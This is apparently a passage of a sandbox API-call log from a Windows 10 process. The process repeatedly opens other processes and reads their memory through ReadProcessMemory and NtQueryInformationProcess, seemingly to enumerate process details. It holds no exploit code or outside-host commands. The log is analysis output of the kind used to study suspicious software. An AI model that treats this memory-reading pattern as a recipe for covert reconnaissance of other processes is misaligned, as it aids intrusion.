ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.587] malloc (_Size=0x9c) returned 0x196ef0d7ac0 [0299.587] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b195e, lpBuffer=0x196ef0d7ac0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7ac0*, lpNumberOfBytesRead=0x0) returned 1 [0299.587] free (_Block=0x196ef0d7ac0) [0299.588] CloseHandle (hObject=0x464) returned 1 [0299.589] _ui64tow_s (in: _Value=0xc10, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3088") returned 0x0 [0299.594] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3088") returned 4 [0299.596] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.596] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.616] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc10) returned 0x464 [0299.616] GetLastError () returned 0x0 [0299.616] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0299.617] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x247018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0299.617] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0299.617] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f1c20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0299.617] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f18c8, lpBuffer=0x670f7c2b0, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0299.618] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.623] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.623] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x247020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.623] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.624] malloc (_Size=0x38) returned 0x196ef0d1390 [0299.624] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f18fe, lpBuffer=0x196ef0d1390, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d1390*, lpNumberOfBytesRead=0x0) returned 1 [0299.624] free (_Block=0x196ef0d1390) [0299.625] CloseHandle (hObject=0x464) returned 1 [0299.625] _ui64tow_s (in: _Value=0xc3c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3132") returned 0x0 [0299.630] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3132") returned 4 [0299.631] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.631] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.650] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc3c) returned 0x464 [0299.650] GetLastError () returned 0x0 [0299.651] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0299.652] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x724018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0299.652] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0299.652] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x911d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0299.652] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9118c8, lpBuffer=0x670f7c2b0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0299.654] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.656] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.656] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x724020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.656] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9112b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.656] malloc (_Size=0x88) returned 0x196ef0fab10 [0299.656] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x91194a, lpBuffer=0x196ef0fab10, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fab10*, lpNumberOfBytesRead=0x0) returned 1 [0299.657] free (_Block=0x196ef0fab10) [0299.658] CloseHandle (hObject=0x464) returned 1 [0299.659] _ui64tow_s (in: _Value=0xc6c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3180") returned 0x0 [0299.683] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3180") returned 4 [0299.684] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.684] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.700] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc6c) returned 0x464 [0299.700] GetLastError () returned 0x0 [0299.701] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0299.701] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0299.701] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0299.701] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x711d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0299.701] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7118c8, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0299.702] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.704] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.704] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.705] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7112b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.705] malloc (_Size=0x9c) returned 0x196ef0d6f10 [0299.705] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x71195e, lpBuffer=0x196ef0d6f10, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d6f10*, lpNumberOfBytesRead=0x0) returned 1 [0299.705] free (_Block=0x196ef0d6f10) [0299.706] CloseHandle (hObject=0x464) returned 1 [0299.707] _ui64tow_s (in: _Value=0xca0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3232") returned 0x0 [0299.712] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3232") returned 4 [0299.713] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.713] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.756] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca0) returned 0x464 [0299.756] GetLastError () returned 0x0 [0299.756] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0299.756] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x668018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0299.757] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0299.757] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a1c50, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0299.757] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a18c8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0299.758] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.759] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.759] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x668020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.759] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.759] malloc (_Size=0x48) returned 0x196ef0fbea0 [0299.759] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a190e, lpBuffer=0x196ef0fbea0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fbea0*, lpNumberOfBytesRead=0x0) returned 1 [0299.760] free (_Block=0x196ef0fbea0) [0299.761] CloseHandle (hObject=0x464) returned 1 [0299.761] _ui64tow_s (in: _Value=0x10c0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4288") returned 0x0 [0299.766] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4288") returned 4 [0299.767] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.767] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.781] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c0) returned 0x464 [0299.781] GetLastError () returned 0x0 [0299.782] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0299.782] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0299.782] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0299.782] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x431c70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0299.782] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x431948, lpBuffer=0x670f7c2b0, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0299.783] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.784] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.784] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.784] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x431330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.785] malloc (_Size=0x3e) returned 0x196ef0fb5e0 [0299.785] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x43197e, lpBuffer=0x196ef0fb5e0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb5e0*, lpNumberOfBytesRead=0x0) returned 1 [0299.785] free (_Block=0x196ef0fb5e0) [0299.786] CloseHandle (hObject=0x464) returned 1 [0299.786] _ui64tow_s (in: _Value=0xab4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2740") returned 0x0 [0299.790] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2740") returned 4 [0299.791] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.791] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.817] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xab4) returned 0x464 [0299.817] GetLastError () returned 0x0 [0299.818] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0299.818] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x385018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0299.818] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0299.818] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x401c90, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0299.818] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4018c8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0299.819] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.820] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.821] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x385020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.821] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4012b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.821] malloc (_Size=0x64) returned 0x196ef0d0370 [0299.821] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x401926, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0299.821] free (_Block=0x196ef0d0370) [0299.822] CloseHandle (hObject=0x464) returned 1 [0299.822] _ui64tow_s (in: _Value=0x136c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4972") returned 0x0 [0299.826] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4972") returned 4 [0299.827] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.828] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.874] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x136c) returned 0x464 [0299.874] GetLastError () returned 0x0 [0299.874] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0299.874] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x49d0568018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0299.875] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0299.875] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1d60, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0299.875] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1948, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0299.876] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.878] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.878] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x49d0568020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.878] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.878] malloc (_Size=0xf0) returned 0x196ef0d4e70 [0299.878] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1988, lpBuffer=0x196ef0d4e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0299.879] free (_Block=0x196ef0d4e70) [0299.880] CloseHandle (hObject=0x464) returned 1 [0299.881] _ui64tow_s (in: _Value=0xd24, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3364") returned 0x0 [0299.887] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3364") returned 4 [0299.888] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.888] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.909] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd24) returned 0x464 [0299.909] GetLastError () returned 0x0 [0299.910] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0299.910] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa54998018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0299.910] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0299.910] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081d60, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0299.911] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081948, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0299.912] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.914] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: 